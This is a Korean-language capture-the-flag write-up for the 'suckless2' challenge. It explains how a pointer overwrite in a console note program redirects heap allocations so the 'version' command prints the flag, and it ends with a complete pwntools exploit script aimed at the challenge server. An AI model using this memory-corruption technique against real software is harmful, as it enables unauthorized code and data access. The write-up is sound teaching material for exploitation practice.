writeup in kr

suckless2 writeup

renia256 2021. 4. 2. 01:54

바로 실행

일단 뭐하는 프로그램인지 확인하기 위해 help를 쳐봅시다.

콘솔형 메모장인가 봅니다. 취약점을 찾아내기 위해 탐색을 해봅시다.

싫행 결과

 

gdb로 디버깅을 하면서 동작과정을 살펴보겠습니다. 

'hello'가 저장된 0x00007ffff7700030부터 256byte만큼 값들을 보면

이렇게 돼있습니다. 각 주소마다 16이 더해진 다음 주소를 값에 기본적으로 담고 있다는 걸 확인할 수 있습니다.

 

그렇다면 기본적으로 담고 있는 저 포인터 값을 변조한다면 다음 new를 통한 노트 저장을 할 때 변조된 포인터에 값이 담아지게 될 것 같다는 생각이 들었습니다.

 

첫 노트에서 'A(dummy)' 16바이트와 아스키 16진수 값이 70인 'p'를 입력해서('AAAAAAAAAAAAAAAAp') 0x7ffff7700040의 값을 0x00007ffff7700070으로 덮어씌운 다음 세번째 노트가 어디에 저장되는지 확인해봅시다. (두번째 노트가 담길 주소에 들어있던 포인터를 변조하므로 실질적으로 변조된 포인터에는 세번째 노트의 값이 들어가게 됩니다.)

세번째 노트가 0x00007ffff7700050이 아닌 0x00007ffff7700070에 들어가게 된 걸 확인할 수 있습니다. 

 

그럼 이제 메시지를 출력하는 명령어 중 하나를 골라서 플래그를 출력하게 하면 되겠군요.

플래그는 어디에 저장돼있을까요?

.data 영역을 돌아다니다보니 역참조가 flag인 값이 있더군요. 누가봐도 수상합니다. 메시지를 출력하는 명령어로는 version을 택하겠습니다. .data 영역을 보면 'this is sldiary 0.1.1'에서 'this is'랑 'sldiary 0.1.1'이 나눠져있어서 'sldiary 0.1.1'을 대체하면 딱일 것 같거든요.

 

exploit 방식은 대충 이렇게 될 겁니다 : 

1. 'A'를 16바이트로 덮어씌우고 오버플로우를 통해 다다음으로 갈 포인터를 'sldiary 0.1.1'을 부르는 곳의 주소로 덮어씌운다.

2. 그 주소의 값을 flag가 들어있는 값으로 덮어씌운다.

3. version을 입력해 flag를 따낸다.

 

근데 문제가 있습니다. 이런 방식으로 flag를 따내면

이렇게 flag가 출력되다가 만다는 것입니다.

그래서 'sldiary 0.1.1'를 참조하는 주소로 가봤더니

바로 밑에 0Dh라는 값이 있었습니다. 0D는 10진수로 13이고 'UMASS{dont_na'의 길이도 13입니다.

이 값도 늘려줘야 flag가 전부 출력될 수 있을 거라 생각해서

주소를 덮어씌우고 바로 밑에 있는 숫자도 좀 더 높은 숫자로 덮어씌웠습니다.

 

코드 : 

from pwn import *

p = remote("34.72.244.178", 8089)
# nc 접속

payload = b'A'*16
payload += p64(0x42A058)
# 0x42A058 : 'sldiary 0.1.1'를 참조하는 주소

p.sendlineafter('> ', 'new')
p.sendlineafter(': ', '8')
p.sendlineafter(': ', payload)

p.sendlineafter('> ', 'new')
p.sendlineafter(': ', '8')
p.sendlineafter(': ', b'b'*8)
# dummy 값들로 채워서 0x42A058로 넘어갈 수 있도록 함

pay = p64(0x42A3D0)
pay += p64(0x50)
# 0x42A3D0 : flag가 담긴 주소, 0x50 : 길이를 16진수로 50만큼으로 설정

p.sendlineafter('> ', 'new')
p.sendlineafter(': ', '8')
p.sendlineafter(': ', pay)

p.sendlineafter('> ', 'version')
print(p.recvline())
# flag 받기

 

 

 

 

writeup은 처음 써보는거라 문맥이 이상할 수도, 몇가지 정보를 빠뜨렸을 수도 있습니다. 

피드백 해주시면 고치도록 하겠습니다.